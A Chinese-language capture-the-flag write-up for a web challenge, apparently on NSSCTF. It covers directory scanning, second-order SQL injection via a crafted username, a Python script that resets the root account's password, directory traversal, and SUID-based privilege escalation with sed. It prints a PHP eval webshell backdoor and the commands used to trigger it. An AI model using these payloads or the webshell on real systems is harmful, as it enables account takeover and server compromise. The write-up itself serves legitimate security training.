打开网页可以看到是一个登录界面,这里可以先尝试着进行目录扫描看看有没有信息泄露
使用kali自带的dirb
可以看到有目录泄露,经过读取有static里可以看到有用信息其他的都说php文件读取后没有回显
经过查看发现只有req.js文件中是一些有关登录注册和修改密码的子函数源码
到这又回到开始的登录界面,既然有注册就可以考虑二次注入
经过尝试,注册admin"#可以闭合造成二次注入
登进admin"#就可以修改admin的密码了
将密码修改为123并登录admin
登录后暂时没有发现什么有用的信息
一开始说的i am root 所以应该是要登录root用户
但是用同样的方式发现不能对root进行修改密码导致不能登录root
我们对一开始修改密码进行抓包
回到开始时发现的子函数源码中
这里只是对user自身修改密码,而下方有注释掉的代码
这很可能就是修改admin和root密码的发包形式
发现url是/?c=admin&m=updatePass
于是可以根据这个发包对里面的data改写成root的,这要登录在admin下进行修改,因为root没有权限哪只能是admin有
通过别人的脚本进行数据包的提交
import base64
from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28076/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28076?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
"newPass":pass2,
"oldPass":password,
"saying":"TIz"})
print(res2.text)
这样意思是在admin下修改root的密码,这里修改为root
登录root
可以下载文件,抓包
尝试发现可以目录遍历
回到前面的的目录扫描有phpinfo.php文件可以尝试下载
而phpinfo.php是页面信息是在var/www/html目录下的
<?php
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);}
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>
发现源码且存在eval() !
先对参数进行md5强比较,将md5拿去解码得1q2w3e
phpinfo.php?pass_31d5df001717=1q2w3e&cc=ls
发现报错应该是没有执行命令的权限,尝试通过蚁剑连接开启虚拟终端查看
phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST['a']);
通过
find / -perm -u=s -type f 2>/dev/null
查看是否存在suid权限的命令
这里发现有sed命令
sed命令来自英文词组“stream editor”的缩写,其功能是用于利用语法/脚本对文本文件进行批量的编辑操作。
语法格式:sed 参数 文件名
利用sed读取flag
sed '1p' /flag#读取该文件的看第一行内容
更多sed命令可参考:
sed命令 – 批量编辑文本文件 – Linux命令大全(手册) (linuxcool.com)
总结:
1.二次注入和目录扫描
2.目录遍历查找文件
3.suid提权从而使用有权命令实现文件读取
本题复现参考: